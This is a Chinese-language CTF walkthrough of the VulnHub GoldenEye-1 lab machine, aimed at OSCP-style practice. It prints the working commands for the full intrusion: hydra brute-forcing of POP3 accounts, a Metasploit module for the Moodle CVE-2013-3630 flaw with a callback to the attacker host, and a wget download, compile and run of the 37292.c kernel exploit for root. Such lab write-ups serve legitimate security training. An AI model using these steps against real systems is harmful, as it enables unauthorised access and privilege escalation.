前言
“操千曲而后晓声,观千剑而后识器”,下载靶机项目实战提升自我,这是一个涉及到渗透与CTF联合的实战项目。
Descript: 我最近完成了一个OSCP类型的易受攻击机器的创建,它以伟大的詹姆斯·邦德电影(甚至更好的n64游戏)《黄金眼》为主题。目标是获得根并捕获秘密的GoldenEye代码-flag.txt。
我认为它是中级的,它有各种各样的技术来获得root-无漏洞开发/缓冲区溢出。完成OSCP后,我认为这将是一个很好的练习,再加上有一点CTF的味道。
靶场环境
kali:192.168.31.153
靶机:192.168.31.67
靶机下载地址: https://www.vulnhub.com/entry/goldeneye-1,240/
下载完导入到vm即可
GoldenEye靶场渗透实战
访问靶机地址得到以下界面,得到ip,以及web页面,能够进行信息收集,获取端口信息,文件路径和对当前web页面进行检测。
获取端口和检测当前web页面这两个信息收集方向可以作为此次渗透入手点
从上方显示的页面可以了解到他要我们去访问/sev-home/这一目录,而此目录是一个js登录点,很明显要我们无法爆破密码而是要我们自己在当前页面寻找线索破解
返回去原始界面,ctrl + u 获取前端页面源码,发现页面引用了一个terminal.js文件,其中注释了一段话,大致意思是告诉Boris,Natalya能破解他的密码,并且还将编码后的密码写了下来,看到编码是html实体,直接用html实体解码得到 InvincibleHack3r,根据这段话逻辑是发给Boris的,所以用户就是boris,解码得到的字符就是其密码
用户boris,密码InvincibleHack3r,登录成功,得到页面一段英文提示:要向pop3服务存在的非默认高端口发送邮件,言外之意就是要我们找到那个高端口进行爆破登录
利用nmap扫描神器对192.168.31.67扫描高端口 nmap -p 1024-65535 192.168.31.67
发现了55006,55007两个高端口
得到两个pop3端口,根据页面提示我们要对boris,natalya这两个账号进行爆破
预先准备一个密码本,一个写入两个用户名的文本
使用九头蛇hydra爆破
echo 'boris' >> golden.txt
echo 'natalya' >> golden.txt
cat golden.txt
hydra爆破55007
hydra -L golden.txt -P password.txt 192.168.31.67 -s 55007 pop3
得到用户/密码
boris/secret1!
natalya/bird
利用nc登录pop3查看邮箱信息
nc 192.168.31.67 55007
user boirs //登录用户boris
pass secret1! //登录密码secret1!
retr 1 //查看邮件1
第一封邮件:Boris,我是管理员。你可以在这里与同事和学生进行电子交流。我不会扫描电子邮件的安全风险,因为我信任你和这里的其他管理员。
第二封邮件:Boris,我可以破解你的密码
第三封邮件:原文太长,我直接读取含义:要去登录xenia账号查找更多线索
登录natalya账号
第一封:不要再破解boris密码
第二封:获得xenia的账号密码 xenia/RCP90rulez! 并且要在/etc/hosts文件中添加severnaya-station.com域名才能访问severnaya-station.com/gnocertdir
在kali访问severnaya-station.com/gnocertdir地址:发现是一个moodle的开源CMS系统,继续点击界面的相关功能发现需要登陆,利用刚才在邮件中发现的用户名和密码登录
紧接着尝试对xenia账号进行信息收集,最终发现有一个邮件提示到有关于doak的电子邮箱
照旧继续用hydra破解得到 doak/goat 并且登录获取邮件信息
登录查看第一封邮件得到web页面登录用户密码 dr_doak/4England!
回到web界面登录dr_doak,在私人文件里面查找到一个文件夹,其中里面的文本提示了访问一个图片链接:/dir007key/for-007.jpg
访问图片链接并下载下来
一般图片线索都有可能是采用了隐写,kali可用的几种隐写工具:1.kali自带的binwalk 图片路径。2.利用exiftool 图片名称。3.利用strings 图片名称,这里我直接采用strings
破解得到一串bas64编码的字符,使用burp的decode base64解码得admin的密码:xWinter1995x!
登录admin账号收集信息,发现并没有什么有用的,但是发现了moodle是2.2.3版本的,在百度搜了一下发现Moodle有一个CVE-2013-3630漏洞,到此有两种方法继续getshell,1.选择去网上下载exp脚本获取权限,2.利用msf工具集成的漏洞exp进行getshell
以下我选择msf的集成化环境做测试,打开msf搜索moodle就会浮现已经集成好的漏洞exp
msfconsole //开启msf
search moodle //搜索moodle相关的exp
use 1 //使用编号1的exp
show payloads //查找载荷
set payload 5 //设置载荷5
set PASSWORD xWinter1995x! //设置用户密码
set RHOSTS severnaya-station.com //设置目标站点
set targeturi /gnocertdir //设置目标路径
set lhost 192.168.31.153 //设置本地站点
show options //查看当前配置
run //运行
发现getshell失败,找了一圈,尝试了很多次发现在
Page path
Home / ► Site administration / ► Plugins / ► Text editors / ► TinyMCE HTML editor处有拼写引擎和语言识别,可以选择PSpellShell(Power Spell Shell ),Google Spell,PShell,我们选择PSpellShell可以与msf的exp形成互联,保存配置(save change)
回到msf重新执行exp,会返回一个后台终端,到此getshell成功
接着我们对后台进行信息收集,查找系统漏洞
python -c 'import pty; pty.spawn("/bin/bash")' //一开始获取的权限没有linux框架,使用shell pty转化
使用cat /proc/version命令查看内核版本信息,发现是Linux ubuntu 3.13.0-32
在浏览器搜索该版本是否存在漏洞,ubuntu 3.13.0存在内核溢出漏洞,在kali中编号为37292的c脚本,在kali使用searchsploit命令检索相关漏洞exp执行脚本
searchsploit 37292 //检索编号
find / -name 37292.c //查找路径
cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/37292.c //复制到root路径下
vim 37292.c //修改脚本,将gcc 改为cc,保存退出
使用python开启本地目录http服务
python3 -m http.server 8081
在msf获取到的后台执行以下命令,使用wget命令下载脚本
wget http://192.168.31.153:8081/37292.c
使用cc编译37292.c脚本为exp
cc -o exp 37292.c
chmod +x exp //给予执行权限
./exp //执行脚本
总结
1.信息收集:(1)前端js信息收集 (2)nmap端口扫描 (3)html实体解码 (4)收集用户敏感信息 (5)内核系统信息收集 (5)图片隐写
2.渗透:(1)hydra暴力破解 (2)利用msf集成exp getshell (3)内核溢出漏洞利用
3.多多动手实战,继续加油!